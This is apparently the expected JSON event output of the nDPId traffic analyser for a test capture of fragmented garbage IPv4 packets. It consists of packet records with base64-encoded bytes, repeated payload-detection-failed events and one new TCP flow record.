+00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7187,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":388555,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiWEAGQ1kKAAACCoAAAmE+TDxNTkJIR0ZERVcjQCQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7187,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7188,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":388568,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiWkAGQ1cKAAACCoAAAiVeSEJHVgo0MjE0NjMxOTg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7188,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7189,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":388580,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiXEAGQ1UKAAACCoAAAjIwNTEpKComXiUkI0AjJCU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7189,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7190,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":388594,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiXkAGQ1MKAAACCoAAAl4mKigqJl4lJCNyc2RsdWg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7190,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7191,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":388607,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiYEAGQ1EKAAACCoAAAmdrZmRzYmtudmMvLnRnZnQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7191,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00385{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7192,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":388626,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiYkAGQ08KAAACCoAAAmc\/R1I\/R1I\/c1I\/NzQ4Mzk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7192,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7193,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":388639,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiZEAGQ00KAAACCoAAAjYpKComXiUkI0AhQCMkJV4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7193,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7194,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":388651,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiZkAGQ0sKAAACCoAAAiYqKCkoKiZeJSQjQCMkJV4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7194,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7195,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":388664,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiaEAGQ0kKAAACCoAAAiYqKComXiUkIyYqKEtJSkg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7195,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7196,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":388679,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiakAGQ0cKAAACCoAAAkdGRDIqJkRGR0hKSyZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7196,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7197,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":388691,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAibEAGQ0UKAAACCoAAAiMjRVRSJVleVSZJKk9QeyI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7197,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7198,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":388704,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAibkAGQ0MKAAACCoAAAjpoZGZsa2RhPkw8TU5CSEc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7198,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00369{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7199,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":388716,"pkt_caplen":42,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":42,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAcAKACcEAGY0kKAAACCoAAAkZERVcjQCQl"} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7199,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":8} +00485{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":7200,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","flow_id":24,"flow_packet_id":1,"flow_first_seen":1534244031688,"flow_last_seen":0,"flow_tot_l4_data_len":16,"flow_min_l4_data_len":16,"flow_max_l4_data_len":16,"flow_avg_l4_data_len":16,"midstream":1,"l3_proto":"ip4","src_ip":"10.0.0.2","dst_ip":"10.128.0.2","src_port":24136,"dst_port":16967,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00424{"flow_id":24,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7200,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":688865,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":16,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgAEAGRbEKAAACCoAAAl5IQkdWCjQyMTQ2MzE5ODLvxgAA"} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7201,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":688906,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgAkAGRa8KAAACCoAAAjA1MSkoKiZeJSQjQCMkJV4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7201,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7202,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":688920,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgBEAGRa0KAAACCoAAAiYqKComXiUkI3JzZGx1aGc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7202,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7203,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":688933,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgBkAGRasKAAACCoAAAmtmZHNia252Yy8udGdmdGc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7203,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7204,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":688945,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgCEAGRakKAAACCoAAAj9HUj9HUj9zUj83NDgzOTY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7204,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7205,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":688956,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgCkAGRacKAAACCoAAAikoKiZeJSQjQCFAIyQlXiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7205,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7206,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":688968,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgDEAGRaUKAAACCoAAAiooKSgqJl4lJCNAIyQlXiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7206,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7207,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":688985,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgDkAGRaMKAAACCoAAAiooKiZeJSQjJiooS0lKSEc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7207,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7208,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":689000,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgEEAGRaEKAAACCoAAAkZEMiomREZHSEpLJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7208,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7209,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":689015,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgEkAGRZ8KAAACCoAAAiNFVFIlWV5VJkkqT1B7Ijo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7209,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7210,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":689030,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgFEAGRZ0KAAACCoAAAmhkZmxrZGE+TDxNTkJIR0Y="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7210,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7211,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":689044,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgFkAGRZsKAAACCoAAAkRFVyNAJCVeSEJHVgo0MjE="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7211,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7212,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":689058,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgGEAGRZkKAAACCoAAAjQ2MzE5ODIwNTEpKComXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7212,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7213,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":689072,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgGkAGRZcKAAACCoAAAiQjQCMkJV4mKigqJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7213,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7214,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":689100,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgHEAGRZUKAAACCoAAAnJzZGx1aGdrZmRzYmtudmM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7214,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00384{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7215,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":689139,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgHkAGRZMKAAACCoAAAi8udGdmdGc\/R1I\/R1I\/c1I="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7215,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7216,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":689152,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgIEAGRZEKAAACCoAAAj83NDgzOTYpKComXiUkI0A="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7216,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7217,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":689165,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgIkAGRY8KAAACCoAAAiFAIyQlXiYqKCkoKiZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7217,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7218,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":689176,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgJEAGRY0KAAACCoAAAiNAIyQlXiYqKComXiUkIyY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7218,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7219,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":689247,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgJkAGRYsKAAACCoAAAiooS0lKSEdGRDIqJkRGR0g="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7219,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7220,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":689261,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgKEAGRYkKAAACCoAAAkpLJl4lJCMjRVRSJVleVSY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7220,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7221,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":689273,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgKkAGRYcKAAACCoAAAkkqT1B7IjpoZGZsa2RhPkw="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7221,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7222,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":689284,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgLEAGRYUKAAACCoAAAjxNTkJIR0ZERVcjQCQlXkg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7222,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7223,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":689300,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgLkAGRYMKAAACCoAAAkJHVgo0MjE0NjMxOTgyMDU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7223,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7224,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":689315,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgMEAGRYEKAAACCoAAAjEpKComXiUkI0AjJCVeJio="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7224,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7225,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":689331,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgMkAGRX8KAAACCoAAAigqJl4lJCNyc2RsdWhna2Y="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7225,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7226,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":689344,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgNEAGRX0KAAACCoAAAmRzYmtudmMvLnRnZnRnP0c="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7226,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00384{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7227,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":689358,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgNkAGRXsKAAACCoAAAlI\/R1I\/c1I\/NzQ4Mzk2KSg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7227,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7228,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":689372,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgOEAGRXkKAAACCoAAAiomXiUkI0AhQCMkJV4mKig="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7228,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} 